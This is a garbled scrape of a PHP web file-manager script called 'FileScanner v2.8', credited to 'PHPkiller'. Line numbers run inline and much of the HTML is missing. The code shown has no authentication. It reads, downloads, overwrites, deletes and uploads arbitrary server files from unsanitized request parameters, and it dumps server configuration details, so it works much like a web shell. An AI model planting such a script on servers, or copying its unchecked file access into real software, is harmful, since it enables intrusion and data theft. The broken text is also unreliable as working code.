1 ';print_r($arr);echo '';} 6 //转码 7 function gbk($str){ return iconv('utf-8','gbk',$str);} 8 function utf8($str){ return iconv('gbk','utf-8',$str);} 9 //路径格式化(替换双斜线为单斜线) 10 function path_formate($str){ 11 return str_replace('\\\\','\\',$str); 12 } 13 //默认获得文件修改时间 14 function filetime($way,$char='m'){ 15 date_default_timezone_set('PRC'); 16 switch($char){ 17 case 'c':$localtime = date('Y-m-d H:i:s',filectime($way)); 18 break; 19 case 'm':$localtime = date('Y-m-d H:i:s',filemtime($way)); 20 break; 21 case 'a':$localtime = date('Y-m-d H:i:s',fileatime($way)); 22 break; 23 } 24 return $localtime; 25 } 26 function f_dirname($f_path){ 27 return substr($f_path,0,strrpos($f_path,'\\')); 28 } 29 //判断后缀类型 30 function suffixtype($f_path){ 31 $info = pathinfo($f_path); 32 $f_type = 'file'; 33 switch(strtolower(@$info["extension"])){ 34 case 'jpg':case 'jpeg':case 'gif': 35 case 'png':case 'bmp':$f_type = 'image';break; 36 case 'pl':case 'c':case 'cpp':case 'log':case 'asp':case 'php':case 'jsp':case 'txt':case 'xml':case 'html':case 'htm':case 'phtml':case 'jhtml':case 'java':case 'cfg':case 'ini': 37 case 'text':case 'bat':$f_type = 'text';break; 38 } 39 return $f_type; 40 } 41 //判断路径是文件还是目录 42 function f_type($f_path){ 43 return is_dir($f_path)?'dir':suffixtype($f_path); 44 } 45 //字节大小格式化 46 function size_formate($byte){ 47 if($byte>1073741824)//1024<<20 48 $size = round(($byte/1073741824),2).'GB'; 49 else if($byte>1048576)//1024<<10 50 $size = round(($byte/1048576),2).'MB'; 51 else if($byte>1024) 52 $size = round(($byte/1024),2).'KB'; 53 else $size = $byte.'B'; 54 return $size; 55 } 56 //计算文件或目录字节大小 57 function bytesize_calc($f_path){ 58 if(!is_dir($f_path)){ 59 return sprintf("%u", filesize($f_path));} 60 $bytesize = 0; 61 $f_arr = scandir($f_path); 62 $size = count($f_arr); 63 for($i=0;$i<$size;$i++){ 64 if('.'==$f_arr[$i]||'..'==$f_arr[$i])continue; 65 $file_or_dir = $f_path.'/'.$f_arr[$i]; 66 $bytesize += bytesize_calc($file_or_dir); 67 } 68 return $bytesize; 69 } 70 //获得文件大小 71 function f_size($f_path){ 72 return size_formate(bytesize_calc($f_path)); 73 } 74 $title=<<';242 $dirname = bias_deal($way);243 if(is_writable($way)){244 echo ' ';}245 else echo '此文件不可写!';246 echo ' 返回';247 exit();248 }//保存操作249 else if(!empty($_GET['op']) && $_GET['op']=='save'){250 if(empty($_GET['way']))exit();251 $way = path_formate($_GET['way']);252 $f_ctx = get_magic_quotes_gpc()?stripslashes($_POST['f_ctx']):$_POST['f_ctx'];253 if(!empty($_GET['flag']) && $_GET['flag']=='ajax_save'){254 echo file_put_contents($way,$f_ctx)?'保存成功!':'保存失败!';255 exit();256 }257 $ifsucc = file_put_contents($way,$f_ctx)?'成功!':'失败!';258 $dirname = bias_deal($way);259 echo ' ';260 exit();261 }//上传操作262 else if(!empty($_GET['op']) && $_GET['op']=='up'){263 if(empty($_GET['dir']))exit();264 $curdir =path_formate($_GET['dir']);265 if(!empty($_FILES)){ //echo 'sss';266 echo ' ';267 }268 exit();269 }//计算目录大小ajax270 else if(!empty($_GET['op']) && $_GET['op']=='dirsize'){271 if(empty($_GET['calcdir']))exit();272 echo f_size($_GET['calcdir']);exit();273 }//文件搜索ajax274 else if(!empty($_GET['op']) && $_GET['op']=='filesearch'){275 if(empty($_GET['curdir']))exit();276 if(empty($_GET['seach_key']))exit();277 $s_key = trim($_GET['seach_key']);278 if(''==$s_key)exit();279 $curdir =path_formate($_GET['curdir']);280 $pos = strpos($s_key,'*');281 if($pos!==false){282 switch($pos){283 case 0:284 $s_key = substr($s_key,1);285 $s_key = preg_replace('/(\W)/i','\\\${1}',$s_key);286 $pattern ='/\w*'.$s_key.'$/i';287 break;288 case (strlen($s_key)-1):289 $s_key = substr($s_key,0,-1);290 $s_key = preg_replace('/(\W)/i','\\\${1}',$s_key);291 $pattern ='/^'.$s_key.'\w*/i';292 break;293 default:294 $key1 = substr($s_key,0,$pos);295 $key1 = preg_replace('/(\W)/i','\\\${1}',$key1);296 $key2 = substr($s_key,$pos+1);297 $key2 = preg_replace('/(\W)/i','\\\${1}',$key2);298 $pattern ='/^'.$key1.'.*'.$key2.'$/i';299 break;300 }301 $f_info_all= search_file($curdir,$pattern,'preg_find');302 }else{303 try{304 $f_info_all= search_file($curdir,$s_key,'pos_find');305 } catch (Exception $e) {306 file_put_contents('search_error.log',$e);307 }308 }309 echo (''==$f_info_all)?'empty':$f_info_all;310 exit();311 }//新建文件操作312 else if(!empty($_GET['op']) && $_GET['op']=='newfile'){313 if(empty($_GET['dir']))exit();314 $dir = path_formate($_GET['dir']);315 if(!empty($_GET['file'])){316 $file = $dir.'\\'.gbk($_GET['file']);317 $ifsucc = touch($file)?'成功!':'失败!';318 echo ' ';319 return;320 }321 exit();322 }//新建目录操作323 else if(!empty($_GET['op']) && $_GET['op']=='newdir'){324 if(empty($_GET['dir']))exit();325 $dir = path_formate($_GET['dir']);326 if(!empty($_GET['dirname'])){327 $dirname = $dir.'\\'.gbk($_GET['dirname']);328 $ifsucc = mkdir($dirname)?'成功!':'失败!';329 echo ' ';330 return;331 }332 exit();333 }//其他信息334 else if(!empty($_GET['op']) && $_GET['op']=='other'){335 if(empty($_GET['dir']))exit();336 $os = php_uname();337 $s_soft = $_SERVER['SERVER_SOFTWARE'];338 $php_ini = PHP_CONFIG_FILE_PATH;339 $doc_root = $_SERVER['DOCUMENT_ROOT'];340 $s_addr=$_SERVER['SERVER_ADDR'].':'.$_SERVER["SERVER_PORT"];341 $c_addr=$_SERVER['REMOTE_ADDR'].':'.$_SERVER["REMOTE_PORT"];342 $auf_cfg = ini_get('allow_url_fopen')?'YES':'NO';343 $mqg_cfg = ini_get('magic_quotes_gpc')?'YES':'NO';344 $de_cfg = ini_get('display_errors')?'YES':'NO';345 $upsize = ini_get('upload_max_filesize');346 $reg_glo = ini_get('register_globals')?'YES':'NO';347 $sess_auto = ini_get('session.auto_start')?'YES':'NO';348 $sess_savepath = ini_get('session.save_path');349 $sess_savepath = $sess_savepath?$sess_savepath:'C:\WINDOWS\Temp';350 $sess_lifetime = ini_get('session.cookie_lifetime');351 $sess_gc_mlt = ini_get('session.gc_maxlifetime');352 $otherinfo = <<文件探测器(FileScanner) v2.8 作者:PHPkiller 76 EOF; 77 $fn='f28.php';//外部文件名 78 function uploadfile($curdir){ 79 $upret=''; 80 switch(@$_FILES['upfile']['error']){ 81 case 0:$upret='上传成功';break; 82 case 1:$upret='大小超过上传约定';break; 83 case 2:$upret='大小超过HTML表单限制';break; 84 case 3:$upret='只有部分被上传';break; 85 case 4:$upret='没有文件被上传';break; 86 case 6:$upret='找不到临时文件夹';break; 87 case 7:$upret='写入失败';break; 88 } 89 if(@$_FILES['upfile']['error']>0){ 90 return $upret;} 91 $upfile=@$_FILES['upfile']['tmp_name']; 92 if(is_uploaded_file($upfile)){ 93 $destfile=$curdir.'/'.@$_FILES['upfile']['name']; 94 if(!move_uploaded_file($upfile,gbk($destfile))){ 95 $upret='文件移动失败!'; 96 }else $upret='上传成功!'; 97 }else{ $upret='非POST上传!';} 98 return $upret; 99 }100 //斜线处理101 function bias_deal($way){102 $dir =dirname(utf8($way));103 if(substr($dir,-1)=='\\'){ $dir = substr($dir,0,2);}104 return urlencode(gbk($dir));105 }106 //对搜索结果返回json数据107 function json_handler($path,$file_name){108 $file_name=utf8($file_name);109 $loca_dir=utf8(str_replace('\\','/',f_dirname($path)));110 $filesize =f_size($path);111 $filetime=filetime($path);112 $f_type = f_type($path);113 $p_utf8 = urlencode($path);114 $f_op = '';115 switch($f_type){116 case 'image':117 $f_op = ' 预览 / ';118 break;119 case 'text':120 $f_op = ' 编辑 / ';121 break;122 }123 $f_op .= ' 删除 /';124 $f_op .= ' 下载';125 $f_info="{f_name:'$file_name',loca_dir:'$loca_dir',f_size:'$filesize',f_time:'$filetime',f_op:'$f_op'}";126 return $f_info.',';127 }128 //回调函数:正则查找129 function preg_find($path,$reg){130 $file_name = basename($path);131 if(preg_match($reg,$file_name)){132 return json_handler($path,$file_name);133 }134 return '';135 }136 //回调函数:位置查找137 function pos_find($path,$key){138 $file_name = basename($path);139 if(strpos($file_name,$key)!==false){140 return json_handler($path,$file_name);141 }142 return '';143 }144 //目录深度搜索145 function search_file($dir,$reg_or_key,$callback)146 {147 $dir = gbk($dir);148 if(!is_dir($dir)){149 return $callback($dir,$reg_or_key);150 }151 $f_info_all='';152 $lists = scandir($dir);153 $len = count($lists);154 for($i=0;$i<$len;$i++){155 if('.'==$lists[$i]||'..'==$lists[$i])continue;156 $file_or_dir = utf8($dir.'\\'.$lists[$i]);157 $f_info_all.=search_file($file_or_dir,$reg_or_key,$callback);158 }159 return $f_info_all;160 }161 162 /******以下为根据op参数进行相应的操作逻辑**********************/163 //类似百度谷歌搜索的建议提示操作164 if(!empty($_GET['op']) && $_GET['op']=='query'){165 if(empty($_GET['s_key']))exit();166 $data_arr=array('*.avi','*.jpg','*.gif','*.mp3','*.php','*.txt','*.htm','*.html','*.rmvb','*.wav','avi','mp3','php','gif','jpg','bmp','txt','.avi','.jpg','.gif','.mp3','.php','.txt','.htm','.html','.rmvb','.wav');167 $ret='';168 $key = $_GET['s_key'];169 //$key = utf8($_GET['s_key']);//若关键字中有中文,需要转码170 foreach($data_arr as $data){171 if(($pos =strpos($data,$key))!==false && 0==$pos){172 $ret.=$data.'|';173 }174 }175 echo $ret;176 exit();177 }178 //删除操作179 if(!empty($_GET['op']) && $_GET['op']=='del'){180 if(empty($_GET['way']))exit();181 $way = path_formate($_GET['way']);182 if(!empty($_GET['flag']) && $_GET['flag']=='ajax_del'){183 echo unlink($way)?'1':'0';//echo '1';184 exit();185 }186 if(is_dir($way))187 $ifsucc = rmdir($way)?'成功!':'失败!';188 else189 $ifsucc = unlink($way)?'成功!':'失败!';190 $dirname = bias_deal($way);191 echo ' ';192 return;193 }//下载操作194 else if(!empty($_GET['op']) && $_GET['op']=='dnd'){195 if(empty($_GET['way']))exit();196 $file_path = $_GET['way'];197 $file_size =filesize($file_path);198 header('Content-type:application/octet-stream');199 header('Accept-Ranges:bytes');200 header('Accept-Length:'.$file_size);201 header('Content-Disposition:attachment;filename='.basename($file_path));202 readfile($file_path);203 return;204 }//预览操作205 else if(!empty($_GET['op']) && $_GET['op']=='view'){206 if(empty($_GET['way']))exit();207 //$file_path = $_GET['way'];208 if(!empty($_GET['flag']) && $_GET['flag']=='ajax_view'){209 file_put_contents('tmp.png',file_get_contents($_GET['way']));210 echo 'tmp.png';211 exit();212 }213 header('content-type:image/png');214 echo file_get_contents($_GET['way']);215 exit;216 }//编辑操作217 else if(!empty($_GET['op']) && $_GET['op']=='edt'){218 if(empty($_GET['way']))exit();219 $way = path_formate($_GET['way']);220 echo utf8($way).' 内容:若以下内容出现乱码,请点击';221 if(!empty($_GET['flag']) && $_GET['flag']=='ajax_edt'){222 echo ' 修正乱码试试! ';223 if(is_writable($way)){224 echo ' ';}225 else echo '此文件不可写!';226 echo ' 返回';227 echo ' ';232 exit();233 }234 echo ' 修正乱码试试! ';235 echo ' ';236 echo '
服务器IP | $s_addr |
操作系统 | $os |
网站架构 | $s_soft |
php.ini路径 | $php_ini |
你的IP | $c_addr |
网站根目录 | $doc_root |
注册全局变量 | $reg_glo |
自动启用session | $sess_auto |
session路径 | $sess_savepath |
session生命周期 | $sess_lifetime |
session最大生命周期 | $sess_gc_mlt |
远程文件访问 | $auf_cfg |
对GPC增加斜线 | $mqg_cfg |
上传大小限制 | $upsize |
显示系统错误 | $de_cfg |
FileScanner2.8 增加类似百度谷歌等搜索提示功能 |
FileScanner2.7 增加文件搜索查询结果的操作(如预览,编辑等)采用ajax实现,后台数据的返回采用json封装 |
FileScanner2.6 增加文件搜索普通查询如搜mp3,将会对查询结果关键字高亮显示 |
FileScanner2.5 搜索框输入关键字后回车即可搜索 |
FileScanner2.4 增加文件搜索功能,支持*查询,如*.avi |
FileScanner2.3 在其他信息中增加session信息 |
FileScanner2.2 调整部分div+css效果,标题挪到右边显示 |
FileScanner2.1 增加高亮显示表行js效果及显示目录大小通过ajax实现 |
FileScanner2.0 增加新建,显示系统信息,界面稍微美化即其它细节问题,改动比较多,升级为2.0 |
FileScanner1.3 增加上传功能 |
FileScanner1.2 解决相应操作后应返回当前目录及双斜线显示问题 |
FileScanner1.1 解决不能文件下载的问题,header函数前不能有输出语句 |
FileScanner1.0 基本功能的实现,面向过程模式编写,有时间在考虑对象重构 |
';409 echo ' 当前目录=>'.utf8($curdir).'';410 echo $title;411 echo '
';431 /*****以下为目录遍历逻辑*******/432 $f_arr = @scandir($curdir) or die('failed to open '.$curdir.'!!');433 $f_num = count($f_arr);434 ?>435 436 名称 | 类型 | 大小 | 438修改时间 | 操作 | |||||
---|---|---|---|---|---|---|---|---|---|
'.$f_utf8.' | ';453 echo ''.f_type($path).' | ';454 echo '';455 echo ' | '.filetime($path).' | ';456 echo '大小 / ';457 458 echo '删除 | ';459 $dir_num++;460 }461 else{462 $f_type = f_type($path);463 echo ''.$f_utf8.' | ';464 echo ''.$f_type.' | ';465 echo ''.f_size($path).' | ';466 echo ''.filetime($path).' | ';467 if($f_type=='image')468 { echo '预览 / ';}else if($f_type=='text')469 { echo '编辑 / ';}470 echo '删除 /';471 echo ' 下载 | ';472 $file_um++;473 }474 echo '
479 484
485 502 839 840 841 842 843 846 849